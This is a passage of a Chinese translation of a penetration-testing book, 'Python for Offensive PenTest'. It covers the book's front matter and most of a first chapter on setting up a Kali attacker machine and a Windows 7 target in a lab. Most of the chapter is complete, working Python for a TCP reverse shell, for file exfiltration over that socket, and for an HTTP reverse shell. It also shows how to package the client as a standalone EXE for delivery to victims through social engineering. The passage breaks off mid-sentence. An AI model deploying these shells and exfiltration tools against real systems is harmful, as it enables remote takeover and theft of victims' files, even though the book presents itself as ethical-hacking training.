原文:
annas-archive.org/md5/dccde1d96c9ad81f97529d78e3e69c9b
译者:飞龙
协议:CC BY-NC-SA 4.0
Python 是一种易学的跨平台编程语言,具有无限的第三方库。许多开源黑客工具都是用 Python 编写的,可以轻松地集成到你的脚本中。本书被分成了清晰的小部分,你可以按照自己的节奏学习,并专注于对你最有兴趣的领域。你将学会如何编写自己的脚本,并从零开始掌握道德黑客技术。
本书面向道德黑客、渗透测试人员、准备参加 OSCP、OSCE、GPEN、GXPN 和 CEH 的学生、信息安全专业人员、网络安全顾问、系统和网络安全管理员,以及希望了解渗透测试的程序员。
第一章,热身 – 你的第一个无杀毒持久性 Shell,准备了我们的 Kali Linux 作为攻击者机器。它还准备了目标,并简要概述了 TCP 反向 Shell、HTTP 反向 Shell 以及如何组装它们。
第二章,高级脚本化 Shell,讲解了如何评估动态 DNS、与 Twitter 交互,以及如何使用对策来保护自己免受攻击。
第三章,密码破解,解释了使用免费的杀毒日志记录器,劫持 KeePass 密码管理器,Firefox API 劫持以及密码钓鱼。
第四章,抓住我,如果你能!,解释了如何绕过基于主机的防火墙大纲、劫持 Internet Explorer 以及绕过声誉过滤。我们还将与 source forge 和 Google 表单进行互动。
第五章,Windows 中的各种有趣内容,专注于在 Windows 中利用易受攻击的软件以及特权提升中的不同技术。我们还将探讨如何创建后门并掩盖我们的踪迹。
第六章,恶意软件对加密技术的滥用,提供了加密算法的简要介绍,使用 AES 和 RSA 保护隧道,以及开发混合加密密钥。
你需要了解 Kali Linux 和 OSI 模型的基本知识。此外,了解渗透测试和道德黑客的基础知识将是非常有益的。
你还需要一台安装了 Python 的 64 位 Kali Linux 和 32 位 Windows 7 机器,运行在 Oracle VirtualBox 上。推荐的系统内存最少为 8GB。
你可以从你的账户中下载本书的示例代码文件,网址为 www.packtpub.com。如果你从其他地方购买了本书,你可以访问 www.packtpub.com/support 并注册,以便直接将文件通过电子邮件发送给你。
你可以通过以下步骤下载代码文件:
登录或注册 www.packtpub.com。
选择 SUPPORT 标签。
点击 代码下载 & 勘误。
在搜索框中输入书名,并按照屏幕上的指示操作。
一旦文件下载完成,请确保使用以下最新版本解压或提取文件夹:
WinRAR/7-Zip for Windows
Zipeg/iZip/UnRarX for Mac
7-Zip/PeaZip for Linux
本书的代码包也托管在 GitHub 上,网址为 github.com/PacktPublishing/Python-for-Offensive-PenTest
。如果代码有更新,它将被更新到现有的 GitHub 仓库中。
我们还在我们丰富的书籍和视频目录中提供了其他代码包,访问 github.com/PacktPublishing/
。快来查看吧!
我们还提供了一份 PDF 文件,其中包含本书中使用的截图/图表的彩色图像。你可以在这里下载: www.packtpub.com/sites/default/files/downloads/PythonforOffensivePenTest_ColorImages.pdf
.
本书中使用了一些文本约定。
CodeInText
: 表示文本中的代码词、数据库表名、文件夹名称、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 账号。以下是一个示例:“现在,如果你密切关注由 Photodex 软件创建的服务名称,它是 ScsiAccess
。”
代码块如下所示:
if 'terminate' in command: # If we got terminate command, inform the client and close the connect and break the loop
conn.send('terminate')
conn.close()
break
任何命令行输入或输出如下所示:
apt-get install idle
粗体:表示一个新术语、重要词汇或在屏幕上看到的词。例如,菜单或对话框中的单词会以这种方式出现在文本中。以下是一个示例:“转到 高级系统设置 | 环境变量。”
警告或重要说明如下所示。提示和技巧如下所示。
我们欢迎读者的反馈。
一般反馈:请通过电子邮件 [email protected]
并在邮件主题中提到书名。如果你对本书的任何部分有问题,请通过电子邮件联系 [email protected]
。
勘误:虽然我们已尽最大努力确保内容的准确性,但错误总是难免的。如果你在本书中发现了错误,我们将非常感激你报告给我们。请访问 www.packtpub.com/submit-errata,选择你的书籍,点击“勘误提交表单”链接并输入详细信息。
盗版:如果你在互联网上发现任何我们作品的非法复制版,任何形式的都可以,如果你能提供相关位置或网站名称,我们将不胜感激。请通过 [email protected]
联系我们并提供该素材的链接。
如果你有兴趣成为作者:如果你在某个领域有专长并且有兴趣写书或为书籍贡献内容,请访问 authors.packtpub.com。
请留下评论。阅读并使用本书后,为什么不在购买网站上留下你的评论呢?潜在的读者可以通过你的公正评价来做出购买决策,我们 Packt 也能了解你对我们产品的看法,而我们的作者也能看到你对他们书籍的反馈。谢谢!
想了解更多关于 Packt 的信息,请访问 packtpub.com。
如今,防火墙、入侵防御系统(IPS)和沙盒等安全解决方案正变得越来越先进,以防止和检测网络攻击。因此,成为一名高级黑客需要编写自己的脚本和工具,以绕过这些安全解决方案。
本章将涵盖以下主题:
准备攻击者机器
准备目标机器
TCP 反向 Shell
HTTP 反向 Shell
持久化
调整连接尝试
防止 Shell 崩溃的小贴士
对策
在本节中,我们将准备 Kali Linux 机器作为攻击者。请注意,我们假设操作系统已经在 VMware 或 VirtualBox 中设置好。目前,我们将使用 VirtualBox 来处理所有章节。
我们可以通过运行以下 cat
命令来检查任何 Linux 操作系统的版本,显示来自文件 /etc/os-release
的内容,该文件包含操作系统的分发数据。我们将使用 Kali Linux 版本 2018.1,正如下图所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00005.jpeg
无论您的 Kali 版本是什么,对于本书,我们将使用写作时可用的最新版本。由于 Python 默认预安装在每个 Linux 发行版中,我们可以通过在交互式 Shell 中运行 python
命令或使用 python -V
来获取版本信息,如下图所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00006.jpeg
我们现在将使用 Python 2.7.14+
,该版本已预安装在我们的 Linux 版本中。
那么,让我们稍微配置一下网络。在本章中,Kali 的 IP 地址是 10.0.2.15
。我们可以通过运行 ifconfig eth0
命令来检查 Kali 的 IP 地址。这将返回网络接口配置,如下所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00007.jpeg
为了在系统上设置互联网,我们只需要将网络模式更改为 网络地址转换(NAT)模式,在 VirtualBox 中,NAT 模式将所有网络活动伪装成来自主机操作系统的请求,尽管 VirtualBox 可以访问外部资源。要执行此操作,请按照以下步骤进行:
从 VirtualBox 的菜单栏点击 设备 菜单
转到网络并选择网络设置
选择网络模式为 NAT 并点击 OK,如下图所示: https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00008.jpeg
一旦执行了上述步骤,只要 VirtualBox 主机能够连接互联网,您就应该能够访问互联网。您可以通过从终端运行 ping 8.8.8.8
来检查网络连接。
现在,如果您没有 Python 的 GUI 编译器,可以通过以下命令安装:
apt-get install idle
安装完成后,让我们使用**IDLE(使用 Python-2.7)**做一个快速的打印程序,该程序是通过前面命令安装的。打开一个新的 Python 文件,输入print ('hello there')
。运行程序并将其保存到桌面。完成此操作后,访问互联网后,你需要将网络模式更改回内部网络,以便能够连接到 Windows 目标。如下图所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00009.jpeg请注意,Windows 目标机器和 Kali 攻击者机器都位于相同的内部网络intnet
上。
作为最后一步,我们应该验证是否仍然获得相同的 IP 地址,即通过在终端中运行ifconfig
命令,得到10.0.2.15
。
如果 IP 发生变化,可以通过运行ifconfig eth0 10.0.2.15
将 IP 改回。
在本节中,我们将准备我们的目标。我们使用的是一台 32 位 Windows 7 机器作为目标。我们将从www.python.org/downloads/
安装 Python 2.7.14+版本。在你开始安装时,你会注意到 Python 还会安装一些其他实用工具,如pip
和easy_install
。稍后我们将使用pip
来安装第三方库。
类似于我们在 Kali 中做的,我们将创建一个快速简单的 Python 脚本,确保一切正常运行。创建一个新文件,输入print ('hi')
,运行脚本并将其保存到桌面。完成此操作后,我们需要将 Python 添加到路径中,这样就可以从命令行的任何位置启动交互模式或交互式终端。打开命令行并输入python
;你会看到 Windows 默认不识别python.exe
应用程序,因此我们需要手动添加它。
执行以下步骤以实现这一点:
转到高级系统设置 | 环境变量。
在系统变量中,向下滚动直到找到变量 Path。你需要在此处附加 Python 路径和pip
路径。
复制 Python 应用程序的安装路径,并将其附加到变量值中。
确保在末尾插入分号,以确保它被附加到我们现有的变量值中。
同样,复制pip
安装路径(位于/Scripts
文件夹中),并将其附加到变量值中,如下图所示:https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00010.jpeg
重启机器,以便它能识别我们刚刚插入的新值。
重启完成后,打开命令行并输入python
,交互式终端将会出现:https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00011.gif
现在,为了与我们的 Kali 机器建立连接,请确保网络设置为“内部网络”,并且网络名称与 Kali 端的名称匹配,即intnet
:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00012.jpeg
最后,我们需要为这台机器分配一个与 Kali 机器处于同一子网的 IP 地址。我们可以通过控制面板进入网络和 Internet/网络和共享中心来更改网络设置。点击本地连接,然后点击属性。在这里,进入互联网协议版本 4 (TCP/IPv4),输入 IP 地址为 10.0.2.10
,并按照以下截图所示填写其余内容。然后点击确认:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00013.jpeg我们已经在目标机器上安装了 Python 编译器,目的是更好地解释代码并进行编译。然而,我们稍后将把 Python 脚本编译成独立的 EXE 文件,这样它就可以在任何没有安装 Python 编译器的目标上运行。
在本节中,我们将快速概述 TCP 反向 Shell,为什么我们需要反向连接,以及什么是 shell。回答这些问题的最佳方法是研究以下图示的拓扑结构:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00014.jpeg
假设我们有一个攻击者连接到互联网的某个地方,右侧是我们的目标。所以,从技术上讲,我们有一台完全修补的计算机,并且启用了内置防火墙,同时也有企业防火墙在运行。而且,很可能企业防火墙已经集成了入侵防御系统 (IPS)模块或杀毒软件。因此,现在,攻击者要访问这台受保护的计算机,面临两个主要问题。首先,攻击者需要绕过操作系统上的内置防火墙或主机防火墙,默认情况下,防火墙会阻止任何进入该计算机的连接,除非明确允许;同样的规则也适用于企业防火墙。
但是,如果攻击者能以某种方式找到向用户发送恶意文件的方法,或者可能欺骗用户访问我们的恶意网站并下载恶意文件,那么我们可能会危及该计算机,甚至可能是整个网络。因此,为了绕过防火墙根本限制,我们需要让我们的目标,也就是 TCP 客户端,主动发起连接回我们。所以,在这种情况下,我们充当 TCP 服务器,而我们的目标或受害者充当 TCP 客户端,这正是我们需要反向 shell 的原因。
现在,我们需要先理解什么是 shell。如果我们可以在目标机器上启动 cmd
进程,并将该进程绑定到网络套接字上,那么这就被称为反向 Shell。因此,当我们说将 TCP 反向 Shell 发送到端口 123
时,意味着一旦受害者运行该文件,我们预期会在端口 123
接收到反向 TCP 连接。所以,在这种情况下,目标端口将是 123
,我们应该在这个端口上监听。因此,这个端口应该在我们的 Kali 机器上开放。然后,在完成 TCP 三次握手后,我们可以向受害者/目标发送某些命令,让受害者执行,并将结果返回给我们。
请记住,结合社会工程学和客户端攻击(我们在这里讨论的),是最强大的攻击类型,并且很有可能成功。
在本节中,我们将在 Kali 机器上调用一个示例 TCP 服务器,并在目标机器上调用一个示例 TCP 客户端。然后,我们将看到如何从 Kali 机器远程执行一些命令。
让我们从服务器端开始。在 Python 中构建一个 TCP 服务器非常简单:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
# Basic TCP Server
import socket # For Building TCP Connection
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # start a socket object 's'
s.bind(("10.0.2.15", 8080)) # define the kali IP and the listening port
s.listen(1) # define the backlog size, since we are expecting a single connection from a single
# target we will listen to one connection
print '[+] Listening for incoming TCP connection on port 8080'
conn, addr = s.accept() # accept() function will return the connection object ID (conn) and will return the client(target) IP address and source
# port in a tuple format (IP,port)
print '[+] We got a connection from: ', addr
while True:
command = raw_input("Shell> ") # Get user input and store it in command variable
if 'terminate' in command: # If we got terminate command, inform the client and close the connect and break the loop
conn.send('terminate')
conn.close()
break
else:
conn.send(command) # Otherwise we will send the command to the target
print conn.recv(1024) # and print the result that we got back
def main ():
connect()
main()
如前面的代码所示,脚本首先导入了socket
库,它负责编写低级网络接口。AF_INIT
定义了套接字地址为一对:主机和端口。在这种情况下,它将是10.10.10.100
,端口是8080
。SOCK_STREAM
是套接字类型的默认模式。现在,bind 函数指定了 Kali IP 地址和监听端口的元组格式,即10.10.10.100
,我们应该在端口8080
上监听以接收连接。
由于我们只期望来自单个目标的单个连接,因此我们将监听一个连接。所以,backlog 大小,指定最大排队连接数,是1
;我们将监听值定义为1
。现在,accept
函数返回一对连接对象(conn
)的值,以及地址(addr
)。这里的地址是目标的 IP 地址和用于从目标发起连接回我们的源端口。接下来,我们将进入一个无限循环,获取我们的命令输入并将其发送到目标机器。这个原始输入用于获取用户输入。如果用户输入的是terminate
,我们将通知目标我们希望关闭会话,然后我们会从我们这边关闭会话。否则,我们将向目标发送一个command
,并且我们将读取并打印从目标端收到的前 1 KB 数据。
现在,让我们看一下客户端脚本:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
# Basic TCP Client
import socket # For Building TCP Connection
import subprocess # To start the shell in the system
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # start a socket object 's'
s.connect(('10.0.2.15', 8080)) # Here we define the Attacker IP and the listening port
while True: # keep receiving commands from the Kali machine
command = s.recv(1024) # read the first KB of the tcp socket
if 'terminate' in command: # if we got terminate order from the attacker, close the socket and break the loop
s.close()
break
else: # otherwise, we pass the received command to a shell process
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
s.send( CMD.stdout.read() ) # send back the result
s.send( CMD.stderr.read() ) # send back the error -if any-, such as syntax error
def main ():
connect()
main()
我们导入subprocess
来启动 shell 和系统。接下来,连接部分相当简单。我们定义s
和socket
对象,并指定 Kali 机器的 IP 地址和我们应该发起连接的端口。我们在 Kali 机器上监听的端口必须与我们从目标机器发起连接的端口完全匹配。与服务器端类似,我们将进入一个无限循环并获取攻击者的命令。如果攻击者的命令是terminate
,或者命令中包含terminate
关键字或字符串,则我们关闭连接并打破无限循环;否则,我们将使用subprocess
启动系统中的 shell。我们将把从攻击者机器接收到的命令传递给subprocess
,并获取结果或错误。请注意,subprocess
有一种自我处理异常的机制。例如,如果我们在 Kali 端输入了错误的命令并将错误的语法发送给目标,stderr
不会导致进程崩溃,而是处理异常并返回错误。
让我们从之前用于hello there
程序的 Python IDE 快速尝试一下我们的脚本。首先点击运行并选择运行模块,启动服务器端。只是为了验证我们是否已经在8080
端口上打开了监听器,运行以下命令:
netstat -antp | grep "8080"
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00015.jpeg
如你所见,python2.7
已经打开了端口并在监听。现在在另一个虚拟机上运行目标脚本。正如以下截图所示,我们从10.0.2.10
的 IP 地址获取到了我们的 shell,而这个 IP 地址是我们的 Windows 机器的 IP 地址,源端口为49160
:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00016.jpeg
让我们从ipconfig
和dir
开始,稍微探索一下目标机器:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00017.jpeg
让我们尝试arp -a
。现在我们获取目标机器上的 ARP 表:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00018.jpeg
如前面的截图所示,输入错误命令时,子进程的stderr
返回错误的语法,而不是使脚本崩溃。
为了快速回顾我们到目前为止所做的工作,我们已经建立了一个反向 TCP 隧道,并通过原始输入获取了用户输入。当我们输入arp -a
时,原始输入将获取该命令,然后我们将其发送到目标机器。一旦在目标端接收到命令,我们将启动cmd
作为子进程,发送错误或结果并在目标端打印出来。
如果连续按几次Enter键,shell 将崩溃。
在上一节中,我们已经学习了如何导航目标目录。现在我们将看到如何抓取这些文件。在从目标机器抓取任何数据之前,请确保交战规则明确允许这样做。
那么,让我们从更新后的服务器端脚本开始:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
# TCP Data Exfiltration Server
import socket
import os # Needed for file operation
# In the transfer function, we first create a trivial file called "test.png" as a file holder just to hold the
# received bytes , then we go into infinite loop and store the received data into our file holder "test.png", however
# If the requested file doesn't exist or if we reached the end of the file then we will break the loop
# note that we could know the end of the file, if we received the "DONE" tag from the target side
# Keep in mind that you can enhance the code and dynamically change the test.png to other file extension based on the user input
def transfer(conn,command):
conn.send(command)
f = open('/root/Desktop/test.png','wb')
while True:
bits = conn.recv(1024)
if 'Unable to find out the file' in bits:
print '[-] Unable to find out the file'
break
if bits.endswith('DONE'):
print '[+] Transfer completed '
f.close()
break
f.write(bits)
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("10.0.2.15", 8080))
s.listen(1)
print '[+] Listening for incoming TCP connection on port 8080'
conn, addr = s.accept()
print '[+] We got a connection from: ', addr
while True:
command = raw_input("Shell> ")
if 'terminate' in command:
conn.send('terminate')
conn.close()
break
# if we received grab keyword from the user input, then this is an indicator for
# file transfer operation, hence we will call transfer function
# Remember the Formula is grab*
# Example: grab*C:\Users\Hussam\Desktop\photo.jpeg
elif 'grab' in command:
transfer(conn,command)
else:
conn.send(command)
print conn.recv(1024)
def main ():
connect()
main()
elif 'grab' in command:
代码表明这不是一个普通的命令;此命令用于传输文件。因此,服务器和客户端必须就此指示符或公式达成一致。现在,公式将是grab
,后面跟上*
和我们要抓取的文件路径,例如,grab*C:\Users\Hussam\Desktop\photo.jpeg
。
现在,让我们看看客户端脚本:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
# TCP Data Exfiltration Client
import socket
import subprocess
import os # needed for file operations
# In the transfer function, we first check if the file exists in the first place, if not we will notify the attacker
# otherwise, we will create a loop where each time we iterate we will read 1 KB of the file and send it, since the
# server has no idea about the end of the file we add a tag called 'DONE' to address this issue, finally we close the file
def transfer(s,path):
if os.path.exists(path):
f = open(path, 'rb')
packet = f.read(1024)
while packet != '':
s.send(packet)
packet = f.read(1024)
s.send('DONE')
f.close()
else: # the file doesn't exist
s.send('Unable to find out the file')
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.0.2.15', 8080))
while True:
command = s.recv(1024)
if 'terminate' in command:
s.close()
break
# if we received grab keyword from the attacker, then this is an indicator for
# file transfer operation, hence we will split the received commands into two
# parts, the second part which we intrested in contains the file path, so we will
# store it into a variable called path and pass it to transfer function
# Remember the Formula is grab*
# Example: grab*C:\Users\Hussam\Desktop\photo.jpeg
elif 'grab' in command:
grab,path = command.split('*')
try: # when it comes to low level file transfer, a lot of things can go wrong, therefore
# we use exception handling (try and except) to protect our script from being crashed
# in case something went wrong, we will send the error that happened and pass the exception
transfer(s,path)
except Exception,e:
s.send ( str(e) ) # send the exception error
pass
else:
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
s.send( CMD.stdout.read() )
s.send( CMD.stderr.read() )
def main ():
connect()
main()
如前所述,客户端和服务器必须就grab
公式达成一致。所以,在客户端,如果我们接收到一个 grab 字符串,我们会将命令分成两部分,*
前后的部分,其中第二部分包含路径,我们会将路径存储在 path 变量中。为了确保我们的脚本在传输过程中如果发生问题不会崩溃,我们将使用异常处理器。
接下来,我们将path
变量传递给transfer
函数。所以,在transfer
函数中,我们首先要做的就是检查请求的文件是否存在。如果不存在,我们将把'无法找到文件'
的消息发送给服务器。
接下来,我们将文件分成若干部分或块,每个块的大小为 1KB,我们将循环读取,直到文件的末尾。当我们这样做时,需要发送一个指示符或标签给服务器端,表明我们已经到达文件的末尾。因此,前面代码块中的DONE
字符串用于指示我们已经到达文件末尾。
现在,在服务器端,我们创建一个占位符或文件持有者。我们将把接收到的字节存储在test.png
中,这里就是文件持有者。当控制进入循环,每次读取 1KB 的数据时,它会写入test.png
。当接收到DONE
字符串时,意味着我们已经到达文件的末尾。此时,文件会被关闭,循环结束。另外,如果服务器收到无法找到文件
,它会打印出来并中断循环。
现在,再次运行服务器脚本,我们将监听端口8080
。一旦在目标端运行脚本,我们就能获得 shell。接下来,进入目录并尝试通过运行grab*Module2.pdf
命令来获取Module2.pdf
:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00019.jpeg
当我们输入上述命令时,它将在客户端和服务器端都触发if
语句。因此,当我们在目标端接收到grab*Module2.pdf
时,我们将把这个命令分为两部分。第二部分包含Module2.pdf
,即我们要抓取的文件。我们将如前所述将其存储在 path 变量中。代码将检查文件是否存在,按块读取,并将其发送到服务器端。这将在服务器端返回响应:[+] 传输完成
。
在桌面上找到文件,它现在叫做1.txt
,将文件扩展名改为.pdf
,并重命名文件,因为我们知道这不是一个图片,而只是一个占位符。现在,用任何 PDF 阅读器打开Module2.pdf
,以确保文件没有损坏。如果没有损坏,它将正常打开。
让我们试试另一个。现在,我们将抓取Tulips.png
:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00020.jpeg
由于我们要抓取的文件与我们的文件夹具有相同的扩展名,即.png
,因此我们不需要更改文件扩展名。
尝试抓取任何已存在的文件,但同样的规则适用:更改文件名为其原始扩展名。让我们尝试一个不存在的文件。回到我们的终端,输入grab*blaaaah.exe
,它将抛出一个错误,如下图所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00021.jpeg
这将导致我们的脚本在目标机器上崩溃,运行ipconfig
时你会看到这个问题。
你可能期待我们使用一个知名协议,如 FTP、SCP 或安全 FTP 来进行文件传输。但我们使用了通过 TCP 套接字进行的低级文件传输,因此你可能会问为什么要这么做。由于这些知名协议可能会被防火墙屏蔽,我们将无法传输任何文件。我们在这里所做的是,不每次传输文件时都启动一个新的通道,这可能会引起管理员的注意,而是创建一个 TCP 套接字,一个会话来获取访问权限,执行远程 Shell 操作,以及进行文件传输。这种类型的传输称为内联传输,我们通过一个通道和一个会话来执行所有需要的操作。
有多种方法可以将 Python 脚本导出为独立的 EXE 文件。今天我们将使用py2exe
库。你可以从sourceforge.net/projects/py2exe/files/py2exe/0.6.9/
下载py2exe-0.6.9.win32-py2.7.exe
版本。
首先,安装这个库。安装过程非常简单,只需按照屏幕上的提示进行操作。
安装完成后,在 Windows 机器上打开 Python 窗口并导入py2exe
,以确保我们能够毫无异常地导入此库。输入python
,然后导入py2exe
。如果没有抛出错误,说明成功:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00022.jpeg
现在,在桌面上创建一个名为Toexe
的文件夹。这个文件夹里应该有三样东西:py2exe
二进制文件、py2exe
安装文件和你的Client.py
脚本文件。为了简便起见,将二进制文件重命名为py2exe
。
安装文件setup.py
将设置最终独立 EXE 文件的标准:
# py2exe download link: http://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/
from distutils.core import setup
import py2exe , sys, os
sys.argv.append("py2exe")
setup(
options = {'py2exe': {'bundle_files': 1}},
windows = [{'script': "Client.py"}],
zipfile = None,
)
在setup.py
脚本中,我们首先将py2exe
二进制文件添加到我们的目录中。然后,我们将bundle_files
设置为1
。定义我们的脚本名称为Client.py
。将zipfile
设置为None
并运行该setup
文件。
执行上述步骤后,将创建两个文件夹,分别名为build
和dist
,如下图所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00023.jpeg
所以在dist
文件夹下,我们得到了独立的Client.exe
,没有任何依赖。现在,运行Client.exe
时,我们将建立连接(前提是前一节中的服务器脚本数据窃取在 Kali 侧运行),我们可以看到Client.exe
进程已在 Windows 任务管理器中创建,如下图所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00024.jpeg
因此,再次进行如下的快速验证:
运行ipconfig
浏览目录
获取一个文件,例如Koala.png
,并等待其成功传输:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00025.jpeg
将文件扩展名更改为.png
现在,打开图片,成功查看后,终止Client.exe
进程
在你的 Kali 机器上的 Shell 中执行terminate
一旦你按下Enter,目标机器上的进程将被终止
在本节中,我们将讨论一个更高层次的 Python 反向 Shell,它将通过 HTTP 协议进行传输。由于 HTTP 协议通常会在出站或出口防火墙规则中被允许,因为它用于网页浏览,因此非常有可能已被开放。此外,每个网络中都需要大量的 HTTP 流量,这使得监控更加困难,犯错的机会较高。让我们看看它是如何工作的。
首先,我们将配置一个简单的 HTTP 服务器和一个简单的 HTTP 客户端,我们将使用GET
和POST
方法在这两个实体之间来回发送数据。如前所述,客户端将使用GET
方法发起一个反向 HTTP 会话回到我们的服务器,而在服务器端,一旦我们收到GET
请求,我们将开始使用原始输入接收命令,并将该命令发送回目标。
一旦我们向目标发出命令,它将启动一个子进程:一个cmd.exe
子进程。将命令传递给该子进程,它将使用POST
方法将结果返回给我们。为了确保我们的 Shell 能够持续运行,我们会执行sleep
3 秒。然后,我们将使用while True:
无限循环重复整个过程。与之前的 TCP 套接字相比,这段代码要简单得多,尤其是在文件传输部分,这是因为我们使用的是高层协议来传输文件和数据。下一部分将处理编码部分。
在本节中,我们将涵盖 HTTP 反向 Shell 的编码部分。在客户端,我们将使用一个非常高层的库来发送我们的GET
和POST
请求。
这个名为Requests
的库,位于pypi.python.org/pypi/requests/2.7.0#downloads
,使得发送GET
或POST
请求变得更加简单,只需要一行代码。Requests
是一个第三方库,因此我们首先需要安装它。你只需通过命令提示符导航到包含其安装文件的文件夹,然后执行python setup.py install
。
要验证库是否已成功安装,打开 Python 解释器,就像我们之前为py2exe
做的那样,输入import requests
。如果这里没有抛出异常,那么我们就可以开始使用了:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00026.jpeg
以下代码块位于服务器端:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
# Basic HTTP Server
import BaseHTTPServer # Built-in library we use to build simple HTTP server
HOST_NAME = '10.10.10.100' # Kali IP address
PORT_NUMBER = 80 # Listening port number
class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler): # MyHandler defines what we should do when we receive a GET/POST request
# from the client / target
def do_GET(s):
#If we got a GET request, we will:-
command = raw_input("Shell> ") #take user input
s.send_response(200) #return HTML status 200 (OK)
s.send_header("Content-type", "text/html") # Inform the target that content type header is "text/html"
s.end_headers()
s.wfile.write(command) #send the command which we got from the user input
def do_POST(s):
#If we got a POST, we will:-
s.send_response(200) #return HTML status 200 (OK)
s.end_headers()
length = int(s.headers['Content-Length']) #Define the length which means how many bytes the HTTP POST data contains, the length
#value has to be integer
postVar = s.rfile.read(length) # Read then print the posted data
print postVar
if __name__ == '__main__':
# We start a server_class and create httpd object and pass our kali IP,port number and class handler(MyHandler)
server_class = BaseHTTPServer.HTTPServer
httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler)
try:
httpd.serve_forever() # start the HTTP server, however if we got ctrl+c we will Interrupt and stop the server
except KeyboardInterrupt:
print '[!] Server is terminated'
httpd.server_close()
在服务器端,我们将使用一个名为BaseHTTPServer
的内建库来构建一个基本的 HTTP 服务器,用于处理客户端请求。接下来,我们通过将PORT_NUMBER
设置为80
来定义 Kali IP 和监听端口地址。然后,我们创建server_class
和httpd
对象,并将监听 IP、PORT_NUMBER
以及类处理程序MyHandler
传递给server_class
。类处理程序MyHandler
定义了当服务器接收到GET
或POST
请求时应执行的操作。服务器将永久运行,无需编写while True:
。
现在,如果服务器接收到一个GET
请求,它将使用原始输入获取用户输入,并发送一个 HTML 状态200
,表示一切正常。此时,send_header()
指定了头字段的定义。由于我们的 HTTP 客户端需要知道数据的类型,因此设置此值是强制性的。在此情况下,数据类型是 HTML 文本,text/html
。wfile.write()
函数等同于我们之前 TCP shell 中发送数据的方式,我们将使用该函数将用户输入的命令发送到目标。
如果服务器首先接收到一个POST
请求,类似于GET
请求,我们将返回一个 HTML 状态200
,表示我们已经成功接收到POST
请求而没有任何问题。s.headers['Content-Length']
指定了HTTP POST
数据所包含的字节数。请注意,返回的值是一个字符串,但在将其作为参数传递给rfile.read()
之前,必须将其转换为整数。我们将使用integer
函数来进行此转换。最后,我们将打印postVar
变量,在这种情况下,它将是命令执行的输出。服务器将使用serve_forever()
函数永久运行,而无需编写while True:
循环。然而,如果我们从键盘按下Ctrl + C,它将中断循环。
以下代码块位于客户端:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
# Basic HTTP Client
import requests # Download Link https://pypi.python.org/pypi/requests#downloads , just extract the rar file and follow the video :)
import subprocess
import time
while True:
req = requests.get('http://10.0.2.15') # Send GET request to our kali server
command = req.text # Store the received txt into command variable
if 'terminate' in command:
break
else:
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
post_response = requests.post(url='http://10.0.2.15', data=CMD.stdout.read() ) # POST the result
post_response = requests.post(url='http://10.0.2.15', data=CMD.stderr.read() ) # or the error -if any-
time.sleep(3)
在这里,我们使用 subprocess 来创建一个 shell,然后我们创建一个 GET
请求发送到我们的 Kali 服务器。请注意,req.text
函数返回的是我们通过发送 GET
请求所获得的文本。在这个例子中,text
就是我们应该执行的命令。现在,一旦我们获得了命令,我们将启动一个子进程,执行结果或错误将通过 POST
